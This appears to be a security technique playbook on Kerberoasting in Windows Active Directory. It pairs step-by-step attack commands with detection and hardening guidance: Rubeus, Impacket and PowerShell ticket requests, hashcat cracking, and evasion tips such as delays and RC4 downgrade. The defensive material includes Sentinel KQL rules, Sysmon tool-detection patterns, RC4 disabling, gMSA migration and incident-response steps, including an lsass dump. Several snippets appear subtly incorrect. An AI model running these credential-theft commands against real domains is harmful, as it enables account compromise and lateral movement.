| Attribute | Details |
|---|---|
| Technique ID | CA-KERB-001 |
| MITRE ATT&CK v18.1 | T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting |
| Tactic | Credential Access |
| Platforms | Windows AD (Server 2016, 2019, 2022, 2025); On-premises domains |
| Severity | Critical |
| CVE | N/A (Protocol abuse, not CVE-dependent) |
| Author | SERVTEP (Pchelnikau Artur) |
| File Path | 03_Cred/CA-KERB-001_Kerberoasting.md |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Windows Server 2016-2025, Active Directory Functional Level 2008+ |
| Patched In | RC4 disabled by default in Windows 11 24H2 and Server 2025 (Q2 2026 planned) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 4 (Environmental Reconnaissance), 8 (Splunk Detection), 10 (Sysmon Detection), 12 (Microsoft Defender for Cloud), and 13 (Microsoft Purview) have been dynamically adjusted to focus on Windows AD on-premises environments where Kerberoasting is most prevalent.
Concept: Kerberoasting is a credential access attack that exploits the normal Kerberos authentication protocol in Windows Active Directory. An authenticated domain user (even with minimal privileges) can request service tickets (TGS—Ticket Granting Service) for any Service Principal Name (SPN) registered in Active Directory. These tickets are encrypted using the service account’s password hash. An attacker extracts these tickets from memory or network traffic, then performs offline brute-force attacks to recover the plaintext password, enabling unauthorized access to service accounts that often hold elevated privileges.
Attack Surface: Service accounts with registered SPNs, specifically those using RC4 encryption (etype 0x17). Modern environments default to AES-128/256, but RC4 remains enabled by default (until Q2 2026 deprecation). The Kerberos protocol itself is not vulnerable; the vulnerability stems from weak encryption and password policies on service accounts.
Business Impact: Service account credential compromise leads to privilege escalation, lateral movement, and persistent access. Compromised service accounts running SQL Server, SharePoint, or web applications provide direct access to sensitive data and systems. Ransomware groups (Conti, FIN7, Wizard Spider) consistently leverage Kerberoasting post-exploitation to move laterally before encryption/exfiltration.
Technical Context: Kerberoasting requires no special network access—a regular authenticated domain user can enumerate and request tickets locally or remotely over port 88 (Kerberos). The attack is silent: TGS requests appear as normal domain activity. Detection relies on identifying anomalous volume or patterns of TGS requests (Event ID 4769) rather than a single “smoking gun” event. Password cracking speed has increased dramatically with GPU acceleration, making even moderately complex passwords vulnerable within hours.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.3.1.3, 5.3.1.4 | Ensure ‘Do Not Allow Kerberos Delegations’ and enforce AES encryption types for Kerberos authentication |
| DISA STIG | WN16-AU-000440, WN19-AU-000440 | Ensure Advanced Audit Policy Configuration – Account Logon events are recorded |
| CISA SCuBA | ID.AM-2, PR.AC-1 | Asset Management; Identify and Manage Access |
| NIST 800-53 | AC-3 (Access Enforcement), IA-2 (Authentication), IA-5 (Authentication and Password Controls), IA-7 (Cryptography) | Enforce access controls; require AES encryption; ensure strong password policies |
| GDPR | Art. 32 (Security of Processing), Art. 5 (Data Protection Principles) | Technical measures to ensure encryption and confidentiality of authentication credentials |
| DORA | Art. 9 (Protection and Prevention), Art. 10 (Detection and Response) | Manage third-party service account risks; detect unauthorized credential access |
| NIS2 | Art. 21 (Cyber Risk Management Measures), Art. 23 (Access Control) | Implement encryption; manage identity and access; monitor for unauthorized access patterns |
| ISO 27001 | A.9.2.3 (Management of Privileged Access Rights), A.9.4.2 (Password Management) | Control service account privileges; enforce strong password policies; audit credential access |
| ISO 27005 | Risk Scenario: “Compromise of Service Account Credentials” | Assess likelihood/impact of Kerberoasting; implement mitigations for service account password complexity |
Supported Versions:
Tools:
System.IdentityModel.Tokens.KerberosRequestorSecurityToken class# List all SPNs in the domain (no elevated rights needed)
setspn.exe -Q */*
# Alternative: PowerShell RSAT
Get-ADUser -Filter {servicePrincipalName -ne $null} -Properties servicePrincipalName | Select-Object Name, servicePrincipalName
What to Look For:
# Check which encryption types a service account supports
Get-ADUser -Identity "SQL_Service" -Properties msDS-SupportedEncryptionTypes | Select-Object msDS-SupportedEncryptionTypes
# Decrypt the bitmask:
# 1 = DES-CBC-CRC
# 4 = RC4-HMAC
# 8 = RESERVED
# 16 = AES128-CTS-HMAC-SHA1-96
# 32 = AES256-CTS-HMAC-SHA1-96
# If value is 31 or 30, RC4 is enabled; if 24, only AES is used
Expected Output (Vulnerable):
msDS-SupportedEncryptionTypes : 31 (DES + RC4 + AES128 + AES256)
Expected Output (Hardened):
msDS-SupportedEncryptionTypes : 24 (AES128 + AES256 only)
# Using ldapsearch (requires domain credentials)
ldapsearch -H ldap://dc.domain.local -D "CN=User,CN=Users,DC=domain,DC=local" -W \
-b "DC=domain,DC=local" "servicePrincipalName=*" servicePrincipalName cn sAMAccountName
# Count total Kerberoastable accounts
ldapsearch -H ldap://dc.domain.local -D "CN=User,CN=Users,DC=domain,DC=local" -W \
-b "DC=domain,DC=local" "servicePrincipalName=*" | grep -c "servicePrincipalName"
Supported Versions: Server 2016-2025 (all versions)
Objective: Identify all accounts with SPNs in the domain without requesting tickets (stealthier reconnaissance phase).
Rubeus.exe kerberoast /stats /ldaps
Expected Output:
[*] Action: Kerberoasting
[+] Kerberoast stats:
Kerberoastable Users : 47
RC4-Enabled Users : 19
AES-Enabled Users : 28
AdminCount=1 Users : 8
What This Means:
OpSec & Evasion:
/stats does NOT request tickets; it only enumerates and countsVersion Note: Identical behavior on Server 2016-2025.
Objective: Extract service ticket hashes using the TGT delegation trick to request RC4 tickets from AES-only accounts (downgrade attacks).
Rubeus.exe kerberoast /rc4opsec /nowrap
Or, target specific admin accounts:
Rubeus.exe kerberoast /ldapfilter:'admincount=1' /rc4opsec /nowrap
Or, request with delay for stealth:
Rubeus.exe kerberoast /delay:5000 /jitter:30 /nowrap /outfile:hashes.txt
Expected Output (Partial):
$krb5tgs$23$*sqlservice$DOMAIN.COM$MSSQLSvc/sqlserver.domain.com:1433*$...
$krb5tgs$23$*webservice$DOMAIN.COM$HTTP/webserver.domain.com*$...
What This Means:
$krb5tgs$23$ = RC4-HMAC hash format (crackable)*sqlservice* = Service account nameOpSec & Evasion:
/delay:5000 = 5-second delay between requests/jitter:30 = 30% randomization of delay/rc4opsec = Uses TGT delegation trick (requests downgrade to RC4)Troubleshooting:
whoami, ensure domain-joined)./creduser:DOMAIN\USER /credpassword:PASSWORD.msDS-SupportedEncryptionTypes./dc:DOMAIN_CONTROLLER to specify a DC.References & Proofs:
Objective: Break the password hash to recover plaintext credentials.
# On a Linux machine with GPU (faster)
hashcat -m 13100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Or with Hashcat on Windows (CPU-based, slower):
hashcat.exe -m 13100 hashes.txt rockyou.txt --force
Expected Output:
$krb5tgs$23$*sqlservice$...:Password123! (Recovered!)
What This Means:
sqlservice account = Password123!sqlservice to SQL Server or other servicesVersion-Specific Notes:
Supported Versions: Server 2016-2025 (all versions)
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -r requirements.txt
python3 -m pip install . --user
Objective: List all SPNs and request TGS tickets for offline cracking.
# Basic enumeration (list SPNs only, no ticket request)
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/username:password
# Request tickets for all SPNs (returns in Hashcat format)
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/username:password -request
# Request tickets for a specific account
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/username:password -request-user sqlservice
# Save to file
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/username:password -request -outputfile tgs_tickets.txt
Expected Output:
ServicePrincipalName Name MemberOf
---------------------------- --------------- -------
MSSQLSvc/sqlserver:1433 sqlservice CN=Domain Admins
HTTP/webserver:80 webservice CN=Service Accounts
LDAP/dc1:389 LDAP_Service N/A
What This Means:
# The -request flag outputs hashes in Hashcat format automatically
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/username:password -request > kerberoast_hashes.txt
# Verify hash format
head -5 kerberoast_hashes.txt
Expected Output:
$krb5tgs$23$*sqlservice$DOMAIN.COM$MSSQLSvc/sqlserver:1433*$8a...
$krb5tgs$23$*webservice$DOMAIN.COM$HTTP/webserver:80*$c2...
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt -o cracked.txt --show
OpSec & Evasion:
Troubleshooting:
-ldaps for LDAPS (port 636); check DC availability with nmap -p 389,636 192.168.1.10.domain.com/username:password or username@domain.com:password.References & Proofs:
Supported Versions: Server 2016-2025 (all versions with PowerShell 5.0+)
Objective: Extract service tickets using built-in .NET classes (stealth—no external tool uploaded).
# Enumerate and request tickets for ALL SPNs
Add-Type -AssemblyName System.IdentityModel
$SPNs = setspn.exe -T domain.local -Q */* | Select-String '^CN' -Context 0,1
foreach ($item in $SPNs) {
$SPN = $item.Context.PostContext[0].Trim()
try {
$TGS = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN
Write-Host "[+] Obtained TGS for: $SPN"
} catch {
Write-Host "[-] Failed: $SPN - $_"
}
}
Expected Output:
[+] Obtained TGS for: MSSQLSvc/sqlserver.domain.local:1433
[+] Obtained TGS for: HTTP/webserver.domain.local:80
[+] Obtained TGS for: LDAP/dc1.domain.local:389
What This Means:
# First, obtain tickets (as shown above)
# Then, use Mimikatz to export:
# mimikatz # kerberos::list /export
# mimikatz # exit
# Or use Rubeus to extract and convert:
# Rubeus.exe dump /nowrap
OpSec & Evasion:
Version Note: Identical across Server 2016-2025; behavior consistent.
Troubleshooting:
[System.Reflection.Assembly]::LoadWithPartialName("System.IdentityModel").References & Proofs:
a06ef45d-4989-4cb6-8b91-46460e29614aSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken.Execution:
# Run via Atomic Red Team
Invoke-AtomicTest T1558.003 -TestNumbers 1
# Or manually:
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T %USERDNSDOMAIN% -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Reference: Atomic Red Team Library - T1558.003
Version: 2.3.3 (Latest as of January 2026)
Minimum Version: 2.0
Supported Platforms: Windows (any version with .NET CLR)
Installation:
# Download compiled binary
https://github.com/GhostPack/Rubeus/releases/download/v2.3.3/Rubeus.exe
# Or compile from source
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus\Rubeus
csc.exe /out:Rubeus.exe *.cs
Key Commands:
# Enumerate vulnerable accounts (stats only, no tickets)
Rubeus.exe kerberoast /stats /ldaps
# Request RC4-encrypted tickets (weak, fast to crack)
Rubeus.exe kerberoast /rc4opsec /nowrap
# Target specific admin accounts
Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
# Add evasion delays
Rubeus.exe kerberoast /delay:5000 /jitter:30 /outfile:hashes.txt
# Request AES tickets (stronger, but still vulnerable with weak passwords)
Rubeus.exe kerberoast /aes /nowrap
Version: 0.11.0+ (Latest as of January 2026)
Minimum Version: 0.10.0
Supported Platforms: Linux, macOS, Windows (Python 3.6+)
Installation:
pip3 install impacket
# Or from source:
git clone https://github.com/SecureAuthCorp/impacket.git && cd impacket && python3 -m pip install . --user
Key Commands:
# List all SPNs in domain
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/user:pass
# Request TGS tickets for all SPNs
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/user:pass -request
# Request for specific account
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/user:pass -request-user sqlservice
# Output to file
python3 GetUserSPNs.py -dc-ip 192.168.1.10 domain.com/user:pass -request -outputfile hashes.txt
Version: 6.2+ (Latest as of January 2026)
Module: 13100 (Kerberos 5 TGS-REP etype 23—RC4)
Mode: Dictionary attack (-a 0), Hybrid (-a 6), Brute-force (-a 3)
Installation:
# Linux (NVIDIA CUDA)
apt-get install hashcat
# Or manual: https://hashcat.net/hashcat/
# Windows (pre-compiled)
# Download from https://hashcat.net/hashcat/
Cracking Commands:
# Dictionary attack (fastest)
hashcat -m 13100 -a 0 hashes.txt rockyou.txt
# With GPU acceleration
hashcat -m 13100 -a 0 -d 1 hashes.txt rockyou.txt
# Show cracked passwords
hashcat -m 13100 hashes.txt --show
# Save output to file
hashcat -m 13100 -a 0 hashes.txt rockyou.txt -o cracked.txt
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType =~ "0x17"
| extend TicketEncryptionType = tostring(TicketEncryptionType)
| summarize
TGS_Count = dcount(TargetUserName),
RC4_Tickets = count(),
RequestingUsers = dcount(SubjectUserName),
DistinctServices = dcount(ServiceName)
by Computer, bin(TimeGenerated, 5m)
| where TGS_Count >= 10 and RC4_Tickets >= 20
| project TimeGenerated, Computer, TGS_Count, RC4_Tickets, RequestingUsers, DistinctServices
What This Detects:
Manual Configuration Steps (Azure Portal):
Excessive Kerberos RC4 TGS RequestsDetects potential Kerberoasting via RC4 downgrade attacksHigh5 minutes1 hourRule Configuration:
KQL Query:
let admins = SecurityEvent
| where EventID == 4769
| where TargetUserName has_any ("Admin", "svc_", "Service") // Customize to your environment
| distinct TargetUserName;
SecurityEvent
| where EventID == 4769
| where TargetUserName in (admins)
| summarize
Total_TGS_Requests = count(),
Unique_RequestingUsers = dcount(SubjectUserName),
Encryption_Types = make_set(TicketEncryptionType)
by TargetUserName, Computer, bin(TimeGenerated, 10m)
| where Total_TGS_Requests >= 5
| project TimeGenerated, TargetUserName, Computer, Total_TGS_Requests, Unique_RequestingUsers, Encryption_Types
What This Detects:
Manual Configuration (PowerShell):
$RuleParams = @{
DisplayName = "Kerberoasting - Privileged Account TGS Requests"
Query = @'
let admins = SecurityEvent
| where EventID == 4769
| where TargetUserName matches regex "(?i)(admin|svc_|Service)"
| distinct TargetUserName;
SecurityEvent
| where EventID == 4769
| where TargetUserName in (admins)
| summarize Total_Requests=count() by TargetUserName, bin(TimeGenerated, 10m)
| where Total_Requests >= 5
'@
Severity = "Critical"
Enabled = $true
}
New-AzSentinelAlertRule -ResourceGroupName "rg-sentinel" -WorkspaceName "ws-sentinel" @RuleParams
Event ID: 4769 (Kerberos Service Ticket Request)
TicketEncryptionType=0x17 (RC4), Status=0x0 (Success), TargetUserName (service account), ClientAddress (source IP)Step 1: Enable Kerberos Audit Logging (All Domain Controllers)
gpupdate /force on all DCs# On Domain Controller (elevated PowerShell)
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"Kerberos Service Ticket Operations"
# Windows Server 2025 uses Enhanced Audit Policy
# Configure via secpol.msc (Local Security Policy) or Group Policy:
# Computer Configuration → Policies → Windows Settings → Security Settings →
# Advanced Audit Policy Configuration → Audit Policies → Account Logon →
# ✓ Audit Kerberos Service Ticket Operations (Success)
# ✓ Audit Kerberos Authentication Service (Success)
# Or via Registry (Server 2025):
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kerberos\Parameters" `
-Name "UserkeyLen" -Value 256 -PropertyType DWord -Force
# Export 4769 events from last 24 hours
wevtutil epl Security "C:\Logs\Security.evtx" /q:"*[System[(EventID=4769) and TimeCreated[timediff(@SystemTime) <= 86400000]]]"
# Parse 4769 events for RC4 usage
Get-WinEvent -FilterXPath "*[System[(EventID=4769)] and EventData[Data[@Name='TicketEncryptionType']='0x17']]" -LogName Security -MaxEvents 100 |
Select-Object TimeCreated, @{N="TargetAccount";E={$_.Properties[0].Value}}, @{N="RequestingUser";E={$_.Properties[1].Value}}, @{N="ServiceName";E={$_.Properties[3].Value}}
Minimum Sysmon Version: 13.0+
Supported Platforms: Windows (Server 2016-2025)
Note: Sysmon cannot directly monitor Kerberos protocol events (those are Windows Event Log events). However, Sysmon can detect the process execution of Kerberoasting tools.
<!-- Sysmon Config: Detect Rubeus Execution -->
<Sysmon schemaversion="4.80">
<RuleGroup name="Kerberoasting Tool Execution">
<!-- Detect Rubeus.exe in command line -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">rubeus.exe,rubeus,kerberoast,asktgt,asktgs</CommandLine>
<ParentImage condition="contains any">cmd.exe,powershell.exe,pwsh.exe</ParentImage>
</ProcessCreate>
<!-- Detect GetUserSPNs.py execution via Python -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">GetUserSPNs.py,getuserspns,kerberoasting</CommandLine>
<Image condition="ends with">python.exe,python3.exe</Image>
</ProcessCreate>
</RuleGroup>
<!-- Detect LDAP queries for SPN enumeration -->
<NetworkConnect onmatch="include">
<DestinationPort condition="is">389</DestinationPort> <!-- LDAP -->
<DestinationPort condition="is">636</DestinationPort> <!-- LDAPS -->
<Image condition="contains any">rubeus,impacket,ldapsearch</Image>
</NetworkConnect>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with rules abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Disk Artifacts:
%TEMP%, %APPDATA%, C:\Windows\Temp\.ps1 files) with KerberosRequestorSecurityToken or setspn commands.txt, .csv containing $krb5tgs$23$).txt containing plaintext passwords)Registry Artifacts (Windows):
AllowedEncryptionTypes (if modified to enable RC4)MaxTokenSize (modified for large TGTs)Memory Artifacts (RAM Dumps):
lsass.exe (contains TGT/TGS data)Event Log Artifacts (Windows Security):
Network Artifacts:
Action 1: Disable RC4 Encryption for Kerberos and Force AES
RC4 is the primary target of Kerberoasting; eliminating it removes 80%+ of the attack surface.
Applies To Versions: Server 2016-2025
Manual Steps (Group Policy - All Domain Controllers):
gpupdate /force on all DCs and member serversOr, via PowerShell on Domain Controller (Elevated):
# Set registry to disable RC4, enable AES only
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" `
-Name "SupportedEncTypes" -Value 24 -Type DWord
# Value 24 = AES128 + AES256 only
# Value 23 = DES + RC4 + AES128 + AES256 (vulnerable)
# Value 31 = All types enabled (most vulnerable)
Verification Command (Check if Secure):
# On Domain Controller
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" -Name SupportedEncTypes
# Expected output: 24 (AES-only, secure)
# Vulnerable output: 23, 28, 31 (RC4 enabled)
Important: After changing encryption types, restart the Domain Controller and change the password of all service accounts so their credentials are encrypted with AES, not RC4.
Action 2: Migrate Service Accounts to Group Managed Service Accounts (gMSA)
gMSA accounts have 120-character auto-generated passwords, making Kerberoasting impractical.
Applies To Versions: Server 2012 R2 and later (gMSA); Server 2025 (dMSA - newer, better)
Manual Steps (Create gMSA):
# Import AD module
Import-Module ActiveDirectory
# Create KDS Root Key (one-time per domain)
Add-KDSRootKey -EffectiveImmediately
# Wait 10 hours or use -EffectiveImmediately for testing
New-ADServiceAccount -Name "SQL_gMSA" `
-Description "Managed account for SQL Server" `
-ManagedPasswordIntervalInDays 30 `
-Enabled $true
# Assign computers that can use this account
Set-ADServiceAccount -Identity "SQL_gMSA" `
-PrincipalsAllowedToRetrieveManagedPassword "DOMAIN\SQL_ServerGroup"
# Elevated PowerShell on SQL Server
Install-ADServiceAccount -Identity "SQL_gMSA"
# Verify installation
Test-ADServiceAccount -Identity "SQL_gMSA"
DOMAIN\SQL_gMSA$Verification Command:
# On any server in the domain
Get-ADServiceAccount -Filter {Name -eq "SQL_gMSA"} | Select-Object Name, ManagedPasswordIntervalInDays, PrincipalsAllowedToRetrieveManagedPassword
Server 2025 - Delegated Managed Service Accounts (dMSA):
# dMSA has advantage of seamless migration from legacy service accounts
New-ADServiceAccount -Name "NewService_dMSA" `
-DNSHostName "newservice.domain.com" `
-Enabled $true
# Works similarly to gMSA but with better migration path
Action 3: Apply “Protected Users” Group Restrictions
The Protected Users group prevents weak encryption and disables NTLM.
Applies To Versions: Server 2012 R2 and later
Manual Steps:
Protected Users group (to restrict network access if compromised)gpupdate /forceVerification:
Get-ADGroupMember -Identity "Protected Users" | Select-Object Name, SamAccountName
Action 1: Remove Unnecessary SPNs from User Accounts
SPNs should only be on service accounts, not regular user accounts.
Identify and Remove SPNs:
# Find all user accounts (not computer accounts) with SPNs
Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName |
Where-Object {$_.ObjectClass -eq "user"}
# Remove SPN from a user account
Set-ADUser -Identity "DisabledServiceAccount" -ServicePrincipalNames @{}
# Or remove specific SPN
Set-ADUser -Identity "Account" -ServicePrincipalNames @{Remove="MSSQLSvc/oldserver:1433"}
Action 2: Enforce Strong Passwords for Service Accounts
Minimum 25 characters, randomly generated, rotated annually.
Manual Steps:
New-ADFineGrainedPasswordPolicy -Name "ServiceAccountPolicy" `
-Complexity $true `
-MinPasswordLength 25 `
-PasswordHistoryCount 12 `
-LockoutDuration 00:30:00 `
-LockoutThreshold 5 `
-PasswordNotRequiredTimeoutEnabled $false `
-Precedence 10
# Apply to service account group
Add-ADFineGrainedPasswordPolicySubject -Identity "ServiceAccountPolicy" `
-Subject "CN=ServiceAccountGroup,CN=Users,DC=domain,DC=local"
[Guid]::NewGuid().Guid -Replace '-', '' # Not recommended; use proper password manager
# Better: Use Bitwarden, 1Password, or Azure Key Vault to generate and store
Set-ADAccountPassword -Identity "SQL_Service" `
-NewPassword (ConvertTo-SecureString -AsPlainText "RandomPassword123!@#$%^&*" -Force) `
-Reset
Action 3: Restrict Delegation on Service Accounts
Unconstrained delegation allows ticket-forwarding attacks; use constrained or resource-based constrained delegation.
Check Delegation Status:
Get-ADUser -Identity "SQL_Service" -Properties msDS-AllowedToDelegateTo, TrustedForDelegation |
Select-Object Name, TrustedForDelegation, msDS-AllowedToDelegateTo
Disable Unconstrained Delegation:
Set-ADUser -Identity "SQL_Service" -TrustedForDelegation $false
Set-ADUser -Identity "SQL_Service" -msDS-AllowedToDelegateTo @() # Clear constrained delegation
Enable Constrained Delegation (if needed):
Set-ADUser -Identity "SQL_Service" `
-msDS-AllowedToDelegateTo @("MSSQLSvc/sql-server.domain.local:1433")
Conditional Access Policies (If using Azure/Entra ID):
RBAC (Role-Based Access Control) Adjustments:
Remove-ADGroupMember -Identity "Domain Admins" -Members "SQL_Service" -Confirm:$false
# Add to custom group with minimal permissions instead
Files:
C:\Windows\Temp\Rubeus.exe (tool binary)C:\Temp\hashes.txt, tickets.txt (extracted hashes)C:\Users\*\Downloads\GetUserSPNs.py (Impacket tool)C:\Temp\krb5tgs_* (Kerberoasting output)Registry:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters\SupportedEncTypes = 23, 28, 31 (RC4 enabled)Network:
_ldap._tcp.dc._msdcs.domain.local (DC discovery)Event Log:
TicketEncryptionType=0x17 in volume (>10 per minute per user)Disk (Windows):
Rubeus.exe, hashcat.exe, GetUserSPNs.pyC:\Windows\Prefetch\ for execution history (Rubeus.exe-*.pf)Memory (RAM Dump):
System.IdentityModel.Tokens.KerberosRequestorSecurityToken API callsRubeus dump)Cloud (If hybrid Entra ID):
AuditLogs table: Service Principal authentication attemptsSigninLogs table: Service account logins from unusual IPsIdentityLogonEvents (Sentinel): AttackTechniques contains "T1558.003"Isolate Affected Accounts:
# Disable compromised service account
Disable-ADAccount -Identity "SQL_Service"
# Force logoff active sessions
Get-ADUser -Identity "SQL_Service" |
Get-ADPrincipalGroupMembership |
ForEach-Object {
$users = Get-ADGroupMember -Identity $_.SamAccountName -Recursive
Reset-ComputerMachinePassword -Force # On affected servers
}
# Reset password (complex, 25+ characters)
Set-ADAccountPassword -Identity "SQL_Service" -NewPassword (ConvertTo-SecureString -AsPlainText "NewSecurePassword!@#$%^&*()" -Force) -Reset
# Re-enable account
Enable-ADAccount -Identity "SQL_Service"
Isolate Affected Servers (If High-Risk):
# Disconnect network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or via Azure (cloud-based servers)
# Portal → Virtual Machines → [VM] → Networking → Disconnect
Export Security Event Logs:
# Export last 48 hours of 4769 events from all DCs
$DCs = Get-ADDomainController -Filter * | Select-Object -ExpandProperty HostName
foreach ($dc in $DCs) {
wevtutil epl Security "C:\Evidence\Security_$($dc)_4769.evtx" `
/r:$dc `
/q:"*[System[(EventID=4769) and TimeCreated[timediff(@SystemTime) <= 172800000]]]"
}
# Export with filter for target service account
wevtutil epl Security "C:\Evidence\SQL_Service_4769.evtx" `
/q:"*[System[(EventID=4769)] and EventData[Data[@Name='TargetUserName']='SQL_Service']]"
Capture Memory Dumps (If Rubeus Suspected):
# Use ProcDump (SysInternals)
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
# Or via PowerShell (less reliable)
$Process = Get-Process lsass
[System.Diagnostics.Debug]::WriteLineIf($true, "Process ID: $($Process.Id)")
Check Prefetch Files (Execution History):
Get-ChildItem -Path "C:\Windows\Prefetch\" -Filter "*Rubeus*" -Force
Get-ChildItem -Path "C:\Windows\Prefetch\" -Filter "*Hashcat*" -Force
# Export prefetch for analysis (requires forensic tools)
Copy-Item "C:\Windows\Prefetch\*.pf" -Destination "C:\Evidence\" -Force
Reset All Compromised Service Account Passwords:
# Find all service accounts with SPNs
$ServiceAccounts = Get-ADUser -Filter {servicePrincipalName -ne $null} -Properties servicePrincipalName
foreach ($account in $ServiceAccounts) {
# Generate secure password
$password = [System.Web.Security.Membership]::GeneratePassword(25, 5)
# Reset password
Set-ADAccountPassword -Identity $account.SamAccountName `
-NewPassword (ConvertTo-SecureString -AsPlainText $password -Force) `
-Reset
Write-Host "[*] Reset: $($account.SamAccountName) - New password stored in password manager"
}
Audit and Revoke Kerberoasting-Accessed Resources:
# Force re-authentication to all resources
Get-ADUser -Filter {servicePrincipalName -ne $null} |
ForEach-Object {
# Log out service account from all sessions
logoff /s:$env:COMPUTERNAME /id:* /v 2>$null
}
Timeline Reconstruction:
Threat Hunt:
# Find all event logs with Kerberoasting keywords
Get-WinEvent -FilterXPath "*[EventData[Data[@Name='Status']='0x0']]" -LogName Security |
Where-Object {$_.TimeCreated -ge (Get-Date).AddHours(-72)} |
Select-Object TimeCreated, @{N="Message";E={$_.Message}} |
Export-Csv "C:\Evidence\Threat_Hunt_72hr.csv" -NoTypeInformation
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566 - Phishing] | Attacker sends spear-phishing email to domain user to gain initial foothold |
| 2 | Persistence | [T1547 - Boot or Logon Autostart Execution] | Establish persistence via scheduled task or registry modification |
| 3 | Privilege Escalation | [T1548 - Abuse Elevation Control Mechanism] | Escalate from standard user to higher privileges (or lateral move) |
| 4 | Credential Access - Enumeration | [T1087.002 - Domain Account Discovery] | Enumerate Domain Admin and service accounts via LDAP |
| 5 | Credential Access - Current Technique | [CA-KERB-001: Kerberoasting] | Request and crack service account credentials |
| 6 | Lateral Movement | [T1021 - Remote Services] | Use compromised service account to access SQL Server, SharePoint, or other services |
| 7 | Persistence | [T1098 - Account Manipulation] | Modify service account password or add to privileged groups |
| 8 | Exfiltration / Impact | [T1020 - Data Transfer Size Limits] or [T1565 - Data Destruction] | Exfiltrate data via compromised service account; deploy ransomware |